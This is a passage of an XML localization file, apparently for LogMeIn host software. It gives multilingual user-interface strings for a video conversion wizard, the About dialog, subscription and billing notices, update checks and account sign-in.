<de>Das Feld für das Zielverzeichnis ist leer. Geben Sie einen gültigen Verzeichnisnamen ein.</de>
<es>El campo de directorio de destino está vacío. Introduzca un nombre de directorio válido.</es>
<fr>Le champ dossier des destination est vide. Veuillez saisir un nom de dossier valide.</fr>
<it>Il campo della directory di destinazione è vuoto. Immettere un nome di directory valido.</it>
<ru>Поле каталога назначения пусто. Введите допустимое имя каталога.</ru>
<ja>移動先ディレクトリ フィールドが空欄です。有効なディレクトリ名を入力してください。</ja>
<zh>“目标目录”字段为空。请输入一个有效的目录名。</zh>
<ko>대상 디렉토리 필드가 비어 있습니다. 올바른 디렉토리 이름을 입력하십시오.</ko>
<en-gb>The destination directory field is empty. Please enter a valid directory name.</en-gb>
<hu>A célkönyvtár mezője üres. Kérem, írjon be egy érvényes könyvtárnevet.</hu>
<pt-br>O campo do diretório de destino está vazio. Digite um nome de diretório válido.</pt-br>
<nl>Het veld voor de doelmap is leeg. Voer een geldige mapnaam in.</nl>
</msg>
<msg name="WARNING.INVDESTDIR">
<en>Invalid destination directory name. Please enter a valid directory name.</en>
<de>Der Name des Zielverzeichnisses ist ungültig. Geben Sie einen gültigen Verzeichnisnamen ein.</de>
<es>Nombre de directorio de destino no válido. Introduzca un nombre de directorio válido.</es>
<fr>Nom de dossier de destination non valide. Veuillez saisir un nom de dossier valide.</fr>
<it>Nome della directory di destinazione non valido. Immettere un nome di directory valido.</it>
<ru>Недопустимое имя каталога назначения. Введите допустимое имя каталога.</ru>
<ja>無効な移動先ディレクトリ名です。有効なディレクトリ名を入力してください。</ja>
<zh>目标目录名无效。请输入一个有效的目录名。</zh>
<ko>대상 디렉토리 이름이 올바르지 않습니다. 올바른 디렉토리 이름을 입력하십시오.</ko>
<en-gb>Invalid destination directory name. Please enter a valid directory name.</en-gb>
<hu>Érvénytelen célkönyvtár név. Kérem, írjon be egy érvényes könyvtárnevet.</hu>
<pt-br>Nome de diretório de destino inválido. Digite um nome de diretório válido.</pt-br>
<nl>Ongeldige mapnaam voor doelmap. Voer een geldige mapnaam in.</nl>
</msg>
<msg name="PG1.SELECT">
<en>Select files to convert</en>
<de>Zu konvertierende Dateien auswählen</de>
<es>Seleccione los archivos que desee convertir</es>
<fr>Sélectionner les fichiers à convertir</fr>
<it>Seleziona i file da convertire</it>
<nl>Bestanden selecteren om te converteren</nl>
<pt-br>Selecione arquivos para conversão</pt-br>
<hu>Konvertálandó fájlok kiválasztása</hu>
<ru>Выберите файлы для преобразования</ru>
<ja>変換するファイルの選択</ja>
<ko>변환할 파일 선택</ko>
<zh>选择要转换的文件</zh>
</msg>
<msg name="PG1.BTN_ADD">
<en>Add...</en>
<de>Hinzufügen...</de>
<es>Añadir...</es>
<fr>Ajouter...</fr>
<it>Aggiungi...</it>
<nl>Toevoegen...</nl>
<pt-br>Adicionar...</pt-br>
<hu>Hozzáadás…</hu>
<ru>Добавить…</ru>
<ja>追加...</ja>
<ko>추가...</ko>
<zh>添加...</zh>
</msg>
<msg name="PG1.BTN_REMOVE">
<en>Remove</en>
<de>Entfernen</de>
<es>Quitar</es>
<fr>Supprimer</fr>
<it>Rimuovi</it>
<nl>Verwijderen</nl>
<pt-br>Remover</pt-br>
<hu>Eltávolítás</hu>
<ru>Удалить</ru>
<ja>削除...</ja>
<ko>제거</ko>
<zh>删除</zh>
</msg>
<msg name="PG1.DELSRC">
<en>Delete source files after conversion</en>
<de>Quelldateien nach der Konvertierung löschen</de>
<es>Eliminar archivos de origen una vez finalizada la conversión</es>
<fr>Supprimer les fichiers source après la conversion</fr>
<it>Elimina i file di origine dopo la conversione</it>
<nl>Bronbestanden verwijderen na conversie</nl>
<pt-br>Excluir arquivos de origem após a conversão</pt-br>
<hu>Forrásfájlok törlése konvertálás után</hu>
<ru>Удалить исходные файлы после преобразования</ru>
<ja>変換後ソースファイルを削除する</ja>
<ko>변환 후 원본 파일 삭제</ko>
<zh>转换后删除源文件</zh>
</msg>
<msg name="PG1.DESTDIR">
<en>Destination directory</en>
<de>Zielverzeichnis</de>
<es>Directorio de destino</es>
<fr>Répertoire de destination</fr>
<it>Directory di destinazione</it>
<nl>Doelmap</nl>
<pt-br>Diretório de destino</pt-br>
<hu>Célkönyvtár</hu>
<ru>Целевая папка</ru>
<ja>保存先のディレクトリ</ja>
<ko>대상 디렉터리</ko>
<zh>目标目录</zh>
</msg>
<msg name="PG1.BTN_BROWSE">
<en>Browse...</en>
<de>Durchsuchen...</de>
<es>Examinar...</es>
<fr>Parcourir…</fr>
<it>Sfoglia...</it>
<nl>Bladeren...</nl>
<pt-br>Procurar...</pt-br>
<hu>Tallózás...</hu>
<ru>Обзор…</ru>
<ja>参照...</ja>
<ko>찾아보기...</ko>
<zh>浏览...</zh>
</msg>
<msg name="PG1.CLICKNEXT">
<en>Click Next to convert all files to AVI.</en>
<de>Klicken Sie auf Weiter, um alle Dateien in AVI zu konvertieren.</de>
<es>Haga clic en Siguiente para convertir todos los archivos a AVI.</es>
<fr>Cliquez sur Suivant pour convertir tous les fichiers au format AVI.</fr>
<it>Fai clic su Avanti per convertire tutti i file in AVI.</it>
<nl>Klik op Volgende om alle bestanden te converteren naar AVI.</nl>
<pt-br>Clique em Avançar para converter todos os arquivos para AVI.</pt-br>
<hu>Az összes fájl AVI-formátumra konvertálásához kattintson a Tovább gombra.</hu>
<ru>Нажмите «Далее», чтобы преобразовать все файлы в формат AVI.</ru>
<ja>[次へ] をクリックしてすべてのファイルを AVI に変換します。</ja>
<ko>모든 파일을 AVI로 변환하려면 다음을 클릭하십시오.</ko>
<zh>单击“下一个”以将所有文件转换为 AVI 格式。</zh>
</msg>
<msg name="PG2.MAINTXT">
<en>Overall progress</en>
<de>Gesamtfortschritt</de>
<es>Progreso global</es>
<fr>Progression d'ensemble</fr>
<it>Avanzamento complessivo</it>
<nl>Algemene voortgang</nl>
<pt-br>Andamento geral</pt-br>
<hu>Összesített állapot</hu>
<ru>Общий прогресс</ru>
<ja>全体の進行状況</ja>
<ko>전체 진행 상태</ko>
<zh>整体进度</zh>
</msg>
<msg name="PG2.SUBTXT">
<en>Current file:</en>
<de>Aktuelle Datei:</de>
<es>Archivo actual:</es>
<fr>Fichier actuel :</fr>
<it>File corrente:</it>
<nl>Huidig bestand:</nl>
<pt-br>Arquivo atual:</pt-br>
<hu>Aktuális fájl:</hu>
<ru>Текущий файл:</ru>
<ja>現在のファイル : </ja>
<ko>현재 파일:</ko>
<zh>当前文件:</zh>
</msg>
<msg name="PG3.LMIHASCONV">
<en>%PRODUCTNAME has converted the selected files.</en>
<de>%PRODUCTNAME hat die ausgewählten Dateien konvertiert.</de>
<es>%PRODUCTNAME ha convertido los archivos seleccionados.</es>
<fr>%PRODUCTNAME a converti les fichiers sélectionnés.</fr>
<it>%PRODUCTNAME ha convertito i file selezionati.</it>
<nl>%PRODUCTNAME heeft de geselecteerde bestanden geconverteerd.</nl>
<pt-br>%PRODUCTNAME converteu os arquivos selecionados.</pt-br>
<hu>%PRODUCTNAME konvertálta a kiválasztott fájlokat.</hu>
<ru>Приложение %PRODUCTNAME преобразовало выбранные файлы.</ru>
<ja>%PRODUCTNAME によって選択されたファイルが変換されました。</ja>
<ko>%PRODUCTNAME에서 선택한 파일을 변환했습니다.</ko>
<zh>%PRODUCTNAME 已转换了已选文件。</zh>
</msg>
<msg name="PG3.BTN_DETAILS">
<en>Details &gt;&gt;</en>
<de>Details &gt;&gt;</de>
<es>Detalles &gt;&gt;</es>
<fr>Détails &gt;&gt;</fr>
<it>Dettagli &gt;&gt;</it>
<nl>Details &gt;&gt;</nl>
<pt-br>Detalhes &gt;&gt;</pt-br>
<hu>Részletek &gt;&gt;</hu>
<ru>Сведения &gt;&gt;</ru>
<ja>詳細 &gt;&gt;</ja>
<ko>세부사항&gt;&gt;</ko>
<zh>详细信息 &gt;&gt;</zh>
</msg>
<msg name="PG3.DEST">
<en>The files are stored in:</en>
<de>Speicherort der Dateien:</de>
<es>Los archivos se encuentran almacenados en:</es>
<fr>Les fichiers sont stockés dans :</fr>
<it>I file sono memorizzati in:</it>
<nl>De bestanden zijn opgeslagen in:</nl>
<pt-br>Os arquivos são armazenados em:</pt-br>
<hu>Fájlok tárolásának helye:</hu>
<ru>Файлы хранятся в папке:</ru>
<ja>ファイルの保存場所 : </ja>
<ko>파일은 다음 위치에 저장됩니다.</ko>
<zh>文件保存位置:</zh>
</msg>
</cat>
</cat>
<cat name="ABOUT">
<msg name="TITLE">
<en>About</en>
<de>Info</de>
<es>Acerca de</es>
<fr>À propos de</fr>
<it>Informazioni</it>
<ru>О программе</ru>
<ja>バージョン情報</ja>
<zh>关于</zh>
<ko>정보</ko>
<en-gb>About</en-gb>
<hu>Névjegy</hu>
<pt-br>Sobre</pt-br>
<nl>Info over</nl>
</msg>
<msg name="SUBSCRIPTION">
<en>Subscription</en>
<es>Suscripción</es>
<de>Abo</de>
<fr>Abonnement</fr>
<it>Sottoscrizione</it>
<ru>Подписка</ru>
<ja>利用期間</ja>
<zh>订阅</zh>
<ko>가입</ko>
<hu>Előfizetés</hu>
<pt-br>Assinatura</pt-br>
<nl>Abonnement</nl>
<en-gb>Subscription</en-gb>
</msg>
<msg name="SOFTWARE">
<en>Software</en>
<es>Software</es>
<de>Software</de>
<fr>Logiciel</fr>
<it>Software</it>
<ru>Программа</ru>
<ja>ソフトウェア</ja>
<zh>软件</zh>
<ko>소프트웨어</ko>
<en-gb>Software</en-gb>
<hu>Szoftver</hu>
<pt-br>Software</pt-br>
<nl>Software</nl>
</msg>
<msg name="HOSTVERSION">
<en>LogMeIn host software version:</en>
<es>Versión del software del host de LogMeIn:</es>
<de>Version der LogMeIn-Hostsoftware:</de>
<fr>Version du logiciel hôte LogMeIn :</fr>
<it>Versione del software host di LogMeIn:</it>
<ru>Версия хост-программы LogMeIn:</ru>
<ja>LogMeIn ホスト ソフトウェアのバージョン:</ja>
<zh>LogMeIn 主机软件版本:</zh>
<ko>LogMeIn 호스트 소프트웨어 버전:</ko>
<en-gb>LogMeIn host software version:</en-gb>
<hu>A LogMeIn gazdagép szoftververziója:</hu>
<pt-br>Versão do software host do LogMeIn:</pt-br>
<nl>Softwareversie van de LogMeIn-host</nl>
</msg>
<msg name="BETACHANNEL">
<en>You are participating in the Beta program.</en>
<es>Está participando en el programa de la versión beta.</es>
<de>Sie nehmen am Betaprogramm teil.</de>
<fr>Vous participez au programme bêta.</fr>
<it>Stai partecipando al programma Beta.</it>
<ru>Вы участвуете в программе бета-тестирования.</ru>
<ja>ベータ版を利用しています。</ja>
<zh>您正在参与 Beta 计划。</zh>
<ko>베타 프로그램에 참여 중입니다.</ko>
<en-gb>You are participating in the Beta program.</en-gb>
<hu>Ön bétaprogramunk résztvevője.</hu>
<pt-br>Você está participando do programa Beta.</pt-br>
<nl>U neemt deel aan het bèta-programma.</nl>
</msg>
<msg name="LEARNMORE">
<en>Learn more</en>
<es>Más información</es>
<de>Weitere Informationen</de>
<fr>En savoir plus</fr>
<it>Scopri di più</it>
<ru>Подробности</ru>
<ja>詳細はこちら</ja>
<zh>了解详细信息</zh>
<ko>자세히 알아보기</ko>
<en-gb>Learn more</en-gb>
<hu>További részletek</hu>
<pt-br>Saiba mais</pt-br>
<nl>Meer info</nl>
</msg>
<msg name="AUTOUPDATE_ON">
<en>Automatic updates are on.</en>
<es>Las actualizaciones automáticas están activadas.</es>
<de>Automatische Updates sind aktiviert.</de>
<fr>Les mises à jour automatiques sont activées.</fr>
<it>Aggiornamenti automatici attivi.</it>
<ru>Автоматическое обновление включено.</ru>
<ja>自動更新はオンです。</ja>
<zh>自动更新功能打开。</zh>
<ko>자동 업데이트가 켜져 있습니다.</ko>
<en-gb>Automatic updates are on.</en-gb>
<hu>Automatikus frissítések bekapcsolva.</hu>
<pt-br>As atualizações automáticas estão ativadas.</pt-br>
<nl>Automatische updates zijn ingeschakeld.</nl>
</msg>
<msg name="AUTOUPDATE_OFF">
<en>Automatic updates are off.</en>
<es>Las actualizaciones automáticas están desactivadas.</es>
<de>Automatische Updates sind deaktiviert.</de>
<fr>Les mises à jour automatiques sont désactivées.</fr>
<it>Aggiornamenti automatici non attivi.</it>
<ru>Автоматическое обновление отключено.</ru>
<ja>自動更新はオフです。</ja>
<zh>自动更新功能关闭。</zh>
<ko>자동 업데이트가 꺼져 있습니다.</ko>
<en-gb>Automatic updates are off.</en-gb>
<hu>Automatikus frissítések kikapcsolva.</hu>
<pt-br>As atualizações automáticas estão desativadas.</pt-br>
<nl>Automatische updates zijn uitgeschakeld.</nl>
</msg>
<msg name="LASTUPDATED">
<en>Last updated:</en>
<es>Fecha de la última actualización:</es>
<de>Letzte Aktualisierung:</de>
<fr>Dernière mise à jour :</fr>
<it>Ultimo aggiornamento:</it>
<ru>Последнее обновление:</ru>
<ja>最終更新日:</ja>
<zh>最后更新时间:</zh>
<ko>최종 업데이트:</ko>
<en-gb>Last updated:</en-gb>
<hu>Legutóbbi frissítés:</hu>
<pt-br>Última atualização:</pt-br>
<nl>Voor het laatst geüpdatet:</nl>
</msg>
<msg name="SUBSCRIBER">
<en>Subscriber:</en>
<es>Suscriptor:</es>
<de>Abonnent:</de>
<fr>Abonné:</fr>
<it>Sottoscrittore:</it>
<ru>Подписчик:</ru>
<ja>利用者:</ja>
<zh>订户:</zh>
<ko>가입자:</ko>
<en-gb>Subscriber:</en-gb>
<hu>Előfizető:</hu>
<pt-br>Assinante:</pt-br>
<nl>Abonnee:</nl>
</msg>
<msg name="TYPE">
<en>Type:</en>
<de>Typ</de>
<es>Tipo:</es>
<fr>Type:</fr>
<it>Tipo:</it>
<ru>Тип:</ru>
<ja>種類:</ja>
<zh>类型:</zh>
<ko>유형:</ko>
<en-gb>Type:</en-gb>
<hu>Típus:</hu>
<pt-br>Tipo:</pt-br>
<nl>Type:</nl>
</msg>
<msg name="RENEWALDATE">
<en>Renewal date:</en>
<es>Fecha de renovación:</es>
<de>Verlängerungsdatum:</de>
<fr>Date de renouvellement :</fr>
<it>Data di rinnovo:</it>
<ru>Дата возобновления:</ru>
<ja>更新日:</ja>
<zh>续订日期:</zh>
<ko>갱신 날짜:</ko>
<en-gb>Renewal date:</en-gb>
<hu>Megújítási dátum:</hu>
<pt-br>Data de renovação:</pt-br>
<nl>Hernieuwingsdatum:</nl>
</msg>
<msg name="EXPRDATE">
<en>Expiration date:</en>
<es>Fecha de caducidad:</es>
<de>Ablaufdatum:</de>
<fr>Date d’expiration :</fr>
<it>Data di scadenza:</it>
<ru>Дата истечения срока действия:</ru>
<ja>有効期限:</ja>
<zh>过期日期:</zh>
<ko>만기일:</ko>
<en-gb>Expiration date:</en-gb>
<hu>Lejárati dátum:</hu>
<pt-br>Data de validade:</pt-br>
<nl>Vervaldatum:</nl>
</msg>
<msg name="PRO_MSG1">
<en>The subscription will renew automatically.</en>
<es>La suscripción se renovará automáticamente.</es>
<de>Das Abo wird automatisch verlängert.</de>
<fr>L'abonnement sera automatiquement renouvelé.</fr>
<it>La sottoscrizione verrà rinnovata automaticamente.</it>
<ru>Подписка будет обновляться автоматически.</ru>
<ja>利用期間は自動的に更新されます。</ja>
<zh>订阅将自动续订。</zh>
<ko>가입이 자동으로 갱신됩니다.</ko>
<en-gb>The subscription will renew automatically.</en-gb>
<hu>Az előfizetés automatikusan megújul.</hu>
<pt-br>A assinatura será renovada automaticamente.</pt-br>
<nl>Het abonnement zal automatisch worden hernieuwd.</nl>
</msg>
<msg name="PRO_MSG2">
<en>The subscription could not renew automatically.</en>
<es>La suscripción no se pudo renovar automáticamente.</es>
<de>Das Abo konnte nicht automatisch verlängert werden.</de>
<fr>L'abonnement n'a pas pu être automatiquement renouvelé.</fr>
<it>La sottoscrizione non ha potuto essere rinnovata automaticamente.</it>
<ru>Не удалось автоматически обновить подписку.</ru>
<ja>利用期間を自動的に更新できませんでした。</ja>
<zh>订阅无法自动续订。</zh>
<ko>가입을 자동으로 갱신할 수 없습니다.</ko>
<en-gb>The subscription could not renew automatically.</en-gb>
<hu>Az előfizetés nem képes automatikusan megújulni.</hu>
<pt-br>A assinatura não poderá ser renovada automaticamente.</pt-br>
<nl>Het abonnement kon niet automatisch worden hernieuwd.</nl>
</msg>
<msg name="NEVER_EXPIRES">
<en>never expires</en>
<es>no caduca</es>
<de>läuft nicht ab</de>
<fr>n'expire jamais</fr>
<it>nessuna scadenza</it>
<ru>неограниченный срок действия</ru>
<ja>有効期限なし</ja>
<zh>永不过期</zh>
<ko>사용 기간 제한 없음</ko>
<hu>korlátlan ideig</hu>
<pt-br>nunca expira</pt-br>
<nl>verloopt nooit</nl>
<en-gb>never expires</en-gb>
</msg>
<msg name="NOSUBSC_MSG1">
<en>The computer is not associated with a %PRODUCTNAME account.</en>
<es>El ordenador no está asociado con una cuenta de %PRODUCTNAME.</es>
<de>Der Computer ist nicht mit einem %PRODUCTNAME-Konto verknüpft.</de>
<fr>L'ordinateur n'est pas associé à un compte %PRODUCTNAME.</fr>
<it>Il computer non è associato ad un account %PRODUCTNAME.</it>
<ru>Компьютер не связан с учетной записью %PRODUCTNAME.</ru>
<ja>コンピュータが %PRODUCTNAME アカウントに関連付けられていません。</ja>
<zh>计算机尚未与 %PRODUCTNAME 帐户关联。</zh>
<ko>컴퓨터가 %PRODUCTNAME 계정에 가입되지 않았습니다.</ko>
<en-gb>The computer is not associated with a %PRODUCTNAME account.</en-gb>
<hu>A számítógép nincs társítva %PRODUCTNAME fiókkal.</hu>
<pt-br>Este computador não está associado a uma conta do %PRODUCTNAME.</pt-br>
<nl>De computer is niet gekoppeld aan een %PRODUCTNAME-account.</nl>
</msg>
<msg name="LINK_TRIAL">
<en>Buy Now</en>
<es>Comprar ahora</es>
<de>Jetzt kaufen</de>
<fr>Acheter maintenant</fr>
<it>Acquista ora</it>
<ru>Приобрести сейчас</ru>
<ja>今すぐ購入</ja>
<zh>立即购买</zh>
<ko>지금 구입</ko>
<en-gb>Buy Now</en-gb>
<hu>Most megvásárolom</hu>
<pt-br>Comprar agora</pt-br>
<nl>Nu kopen</nl>
</msg>
<msg name="LINK_FREE">
<en>Subscribe to %PRODUCTNAME Pro</en>
<es>Suscribirse a %PRODUCTNAME Pro</es>
<de>%PRODUCTNAME Pro abonnieren</de>
<fr>S'abonner à %PRODUCTNAME Pro</fr>
<it>Effettua la sottoscrizione a %PRODUCTNAME Pro</it>
<ru>Подписаться на %PRODUCTNAME Pro</ru>
<ja>%PRODUCTNAME Pro を利用する</ja>
<zh>订用 %PRODUCTNAME Pro</zh>
<ko>%PRODUCTNAME Pro에 가입</ko>
<en-gb>Subscribe to %PRODUCTNAME Pro</en-gb>
<hu>Előfizetés a %PRODUCTNAME Pro-ra</hu>
<pt-br>Assinar o %PRODUCTNAME Pro</pt-br>
<nl>Abonneer u op %PRODUCTNAME Pro</nl>
</msg>
<msg name="LINK_PRO_GRACE">
<en>Update billing information</en>
<es>Actualizar información de facturación</es>
<de>Abrechnungsdaten aktualisieren</de>
<fr>Mettre à jour les informations de facturation</fr>
<it>Aggiorna i dati di fatturazione</it>
<ru>Обновить платежную информацию</ru>
<ja>請求情報を更新する</ja>
<zh>更新付帐信息</zh>
<ko>청구 정보 업데이트</ko>
<en-gb>Update billing information</en-gb>
<hu>Számlázási adatok frissítése</hu>
<pt-br>Atualizar informações de faturamento</pt-br>
<nl>Factureringsgegevens updaten</nl>
</msg>
<msg name="BTN_SWITCHACC">
<en>Switch Account or Subscription...</en>
<es>Cambiar de cuenta o de suscripción...</es>
<de>Zu anderem Konto/Abo wechseln...</de>
<fr>Changer de compte ou d'abonnement...</fr>
<it>Passa a un altro account o sottoscrizione...</it>
<ru>Переключить учетную запись или подписку...</ru>
<ja>アカウントまたは利用期間の切り替え...</ja>
<zh>切换帐户或订阅...</zh>
<ko>계정 또는 가입 전환...</ko>
<en-gb>Switch Account or Subscription...</en-gb>
<hu>Fiók vagy előfizetés váltása...</hu>
<pt-br>Alternar conta ou assinatura...</pt-br>
<nl>Account of abonnement wisselen...</nl>
</msg>
<msg name="BTN_CHOOSEACC">
<en>Choose account and subscription...</en>
<es>Elegir cuenta y suscripción...</es>
<de>Konto und Abo wählen...</de>
<fr>Choisir un compte et abonnement...</fr>
<it>Scegli account e sottoscrizione...</it>
<ru>Выбрать учетную запись и подписку...</ru>
<ja>アカウントと利用期間の選択...</ja>
<zh>选择帐户和订阅...</zh>
<ko>계정 및 가입 선택...</ko>
<en-gb>Choose account and subscription...</en-gb>
<hu>Fiók és előfizetés kiválasztása...</hu>
<pt-br>Escolha a conta e a assinatura...</pt-br>
<nl>Account en abonnement kiezen...</nl>
</msg>
<msg name="PWDRQSTD">
<en>(requires password)</en>
<es>(requiere contraseña)</es>
<de>(Passwort erforderlich)</de>
<fr>(requiert un mot de passe)</fr>
<it>(è richiesta la password)</it>
<ru>(требуется пароль)</ru>
<ja>(パスワードが必要)</ja>
<zh>(需要密码)</zh>
<ko>(암호 필요)</ko>
<en-gb>(requires password)</en-gb>
<hu>(jelszót igényel)</hu>
<pt-br>(exige senha)</pt-br>
<nl>(wachtwoord vereist)</nl>
</msg>
<msg name="COMPANY">
<en>Company</en>
<es>Empresa</es>
<de>Unternehmen</de>
<fr>Société</fr>
<it>L'azienda</it>
<ru>Компания</ru>
<ja>会社名</ja>
<zh>公司</zh>
<ko>회사</ko>
<en-gb>Company</en-gb>
<hu>Vállalat</hu>
<pt-br>Empresa</pt-br>
<nl>Bedrijf</nl>
</msg>
<cat name="UPDATE">
<msg name="TITLE">
<en>Check for Updates</en>
<de>Prüfung auf neuere Version</de>
<es>Buscar la última versión disponible</es>
<fr>Vérification de la version la plus récente</fr>
<it>Controlla aggiornamenti</it>
<ru>Проверить обновления</ru>
<ja>更新の確認</ja>
<zh>检查是否更新</zh>
<ko>업데이트 확인</ko>
<en-gb>Check for Updates</en-gb>
<hu>Frissítések keresése</hu>
<pt-br>Verificar atualizações</pt-br>
<nl>Controleren op updates</nl>
</msg>
<msg name="CHECKUPD">
<en>Checking for updates...</en>
<es>Comprobando actualizaciones...</es>
<de>Es wird nach Updates gesucht...</de>
<fr>Recherche de mises à jour...</fr>
<it>Ricerca aggiornamenti...</it>
<ru>Проверка наличия обновлений...</ru>
<ja>更新を確認しています...</ja>
<zh>正在检查更新...</zh>
<ko>업데이트 확인 중...</ko>
<en-gb>Checking for updates...</en-gb>
<hu>Frissítések keresése...</hu>
<pt-br>Verificando atualizações...</pt-br>
<nl>Bezig met controleren van updates...</nl>
</msg>
<msg name="NOUPDATE">
<en>No updates are available at this time.\n\nYou are using the latest version of the %PRODUCTNAME software.</en>
<es>No hay actualizaciones disponibles en este momento.\n\nEstá usando la versión más reciente del software de %PRODUCTNAME.</es>
<de>Derzeit sind keine Updates verfügbar.\n\nSie nutzen bereits die neueste Version der %PRODUCTNAME-Software.</de>
<fr>Aucune mise à jour n'est actuellement disponible.\n\nVous utilisez la dernière version du logiciel %PRODUCTNAME.</fr>
<it>Non sono disponibili aggiornamenti al momento.\n\nSi sta usando l'ultima versione del software %PRODUCTNAME.</it>
<ru>В настоящее время обновления недоступны.\n\nВы используете последнюю версию программы %PRODUCTNAME.</ru>
<ja>現在利用できる更新はありません。\n\n最新バージョンの %PRODUCTNAME ソフトウェアを使用しています。</ja>
<zh>此时没有可用的更新。\n\n您使用的是最新版本的 %PRODUCTNAME 软件。</zh>
<ko>현재 사용 가능한 업데이트가 없습니다.\n\n최신 버전의 %PRODUCTNAME 소프트웨어를 사용하고 있습니다.</ko>
<en-gb>No updates are available at this time.\n\nYou are using the latest version of the %PRODUCTNAME software.</en-gb>
<hu>Jelenleg nincs elérhető frissítés.\n\nÖn a %PRODUCTNAME szoftver legfrissebb verzióját használja.</hu>
<pt-br>Não há atualizações disponíveis no momento.\n\nVocê está usando a versão mais recente do software %PRODUCTNAME.</pt-br>
<nl>Er zijn op dit moment geen updates beschikbaar.\n\nU gebruikt al de nieuwste versie van de %PRODUCTNAME-software.</nl>
</msg>
<msg name="DLUPDATE">
<en>The %PRODUCTNAME update is being downloaded onto your computer.\n\nYou will be notified when it is ready to be installed.</en>
<es>La actualización de %PRODUCTNAME se está descargando en su ordenador.\n\nEl sistema le informará cuando esté lista para instalarla.</es>
<de>Das Update für %PRODUCTNAME wird auf Ihren Computer heruntergeladen.\n\nSie erhalten eine Benachrichtigung, sobald mit der Installation begonnen werden kann.</de>
<fr>La mise à jour de %PRODUCTNAME est en cours de téléchargement sur votre ordinateur.\n\nVous serez averti lorsqu'il sera prêt à installer.</fr>
<it>Download dell'aggiornamento di %PRODUCTNAME in corso.\n\nQuando sarà pronto per l'installazione, si riceverà una notifica.</it>
<ru>Обновление %PRODUCTNAME загружается на ваш компьютер.\n\nВы получите уведомление о его готовности к установке.</ru>
<ja>%PRODUCTNAME の更新をコンピュータにダウンロードしています。\n\nインストールの準備が完了すると、メッセージが表示されます。</ja>
<zh>正在将 %PRODUCTNAME 更新下载到您的计算机上。\n\n准备安装时,您将收到通知。</zh>
<ko>%PRODUCTNAME 업데이트를 컴퓨터로 다운로드하는 중입니다.\n\n설치 준비가 완료되면 알림 메시지가 나타납니다.</ko>
<en-gb>The %PRODUCTNAME update is being downloaded onto your computer.\n\nYou will be notified when it is ready to be installed.</en-gb>
<hu>A %PRODUCTNAME frissítése most töltődik le az Ön számítógépére.\n\nÉrtesítést fog kapni, amikor a program készen áll a telepítésre.</hu>
<pt-br>A atualização do %PRODUCTNAME está sendo baixada no seu computador.\n\nVocê será notificado quando ela estiver pronta para ser instalada.</pt-br>
<nl>De %PRODUCTNAME-update wordt gedownload naar uw computer.\n\nU ontvangt een melding wanneer het gereed is om geïnstalleerd te worden.</nl>
</msg>
<msg name="UPDATEREADY">
<en>The %PRODUCTNAME update is ready to be installed.</en>
<es>La actualización %PRODUCTNAME está lista para instalar.</es>
<de>Das  %PRODUCTNAME-Update kann jetzt installiert werden.</de>
<fr>La mise à jour de %PRODUCTNAME est prête à l'installation.</fr>
<it>L'aggiornamento di %PRODUCTNAME è pronto per l'installazione.</it>
<ru>Обновление %PRODUCTNAME готово к установке.</ru>
<ja>%PRODUCTNAME の更新をインストールする準備ができました。</ja>
<zh>已准备安装 %PRODUCTNAME 更新。</zh>
<ko>%PRODUCTNAME 업데이트를 설치할 준비가 되었습니다.</ko>
<hu>A %PRODUCTNAME frissítése telepítésre készen áll.</hu>
<pt-br>A atualização do %PRODUCTNAME está pronta para ser instalada.</pt-br>
<nl>De %PRODUCTNAME-update is klaar om geïnstalleerd te worden.</nl>
<en-gb>The %PRODUCTNAME update is ready to be installed.</en-gb>
</msg>
</cat>
<cat name="SUBSCRIPTION">
<msg name="TITLE">
<en>Choose Account and Subscription</en>
<es>Elegir cuenta y suscripción</es>
<de>Konto und Abo wählen</de>
<fr>Choisir un compte et abonnement</fr>
<it>Scegli account e sottoscrizione</it>
<ru>Выбрать учетную запись и подписку</ru>
<ja>アカウントと利用期間の選択</ja>
<zh>选择帐户和订阅</zh>
<ko>계정 및 가입 선택...</ko>
<en-gb>Choose Account and Subscription</en-gb>
<hu>Fiók és előfizetés kiválasztása</hu>
<pt-br>Escolher conta e assinatura</pt-br>
<nl>Account en Abonnement kiezen</nl>
</msg>
<msg name="BTN_CREATEACC">
<en>Create account and continue &gt;</en>
<es>Crear cuenta y continuar &gt;</es>
<de>Konto anlegen und fortfahren &gt;</de>
<fr>Créer un compte et continuer &gt;</fr>
<it>Crea un account e continua &gt;</it>
<ru>Создать учетную запись и продолжить &gt;</ru>
<ja>アカウントを作成して続行する &gt;</ja>
<zh>创建帐户并继续 &gt;</zh>
<ko>계정을 만들고 계속 진행 &gt;</ko>
<en-gb>Create account and continue &gt;</en-gb>
<hu>Fiók létrehozása és folytatás &gt;</hu>
<pt-br>Criar conta e continuar &gt;</pt-br>
<nl>Account maken en doorgaan &gt;</nl>
</msg>
<msg name="PG1.OLDUSER_MSG3">
<en>In this wizard, you can associate this computer with a %PRODUCTNAME account and assign a subscription to it.</en>
<es>En este asistente, puede asociar este ordenador con una cuenta de %PRODUCTNAME y asignarle una suscripción.</es>
<de>Mit Hilfe dieses Assistenten können Sie diesen Computer mit einem %PRODUCTNAME-Konto und einem Abo verknüpfen.</de>
<fr>Cet Assistant permet d'associer cet ordinateur à un compte %PRODUCTNAME et lui affecter un abonnement.</fr>
<it>Questa procedura guidata consentirà di associare questo computer ad un account %PRODUCTNAME e di assegnarvi una sottoscrizione.</it>
<ru>В этом мастере можно связать данный компьютер с учетной записью %PRODUCTNAME и назначить ей подписку.</ru>
<ja>このウィザードでは、このコンピュータを %PRODUCTNAME アカウントに関連付け、利用期間を割り当てることができます。</ja>
<zh>在此向导中,您可以将此计算机与 %PRODUCTNAME 帐户关联并为其指定订阅。</zh>
<ko>이 마법사에서 이 컴퓨터를 %PRODUCTNAME 계정으로 가입하고 가입을 할당할 수 있습니다.</ko>
<en-gb>In this wizard, you can associate this computer with a %PRODUCTNAME account and assign a subscription to it.</en-gb>
<hu>Ebben a varázslóban %PRODUCTNAME fiókhoz társíthatja a számítógépét, és hozzárendelhet egy előfizetést.</hu>
<pt-br>Neste assistente, você pode associar este computador a uma conta do %PRODUCTNAME e atribuir uma assinatura a ela.</pt-br>
<nl>In deze wizard kunt u deze computer koppelen aan een %PRODUCTNAME-account en hier een abonnement aan toekennen.</nl>
</msg>
<msg name="PG1.SIGNIN">
<en>Sign in to an existing account</en>
<es>Inicio de sesión en una cuenta existente</es>
<de>Bei bestehendem Konto anmelden</de>
<fr>Se connecter à un compte existant</fr>
<it>Accedi ad un account esistente</it>
<ru>Войти в существующую учетную запись</ru>
<ja>既存のアカウントにサイン インする</ja>
<zh>登录到现有的帐户</zh>
<ko>기존 계정으로 로그인</ko>
<en-gb>Sign in to an existing account</en-gb>
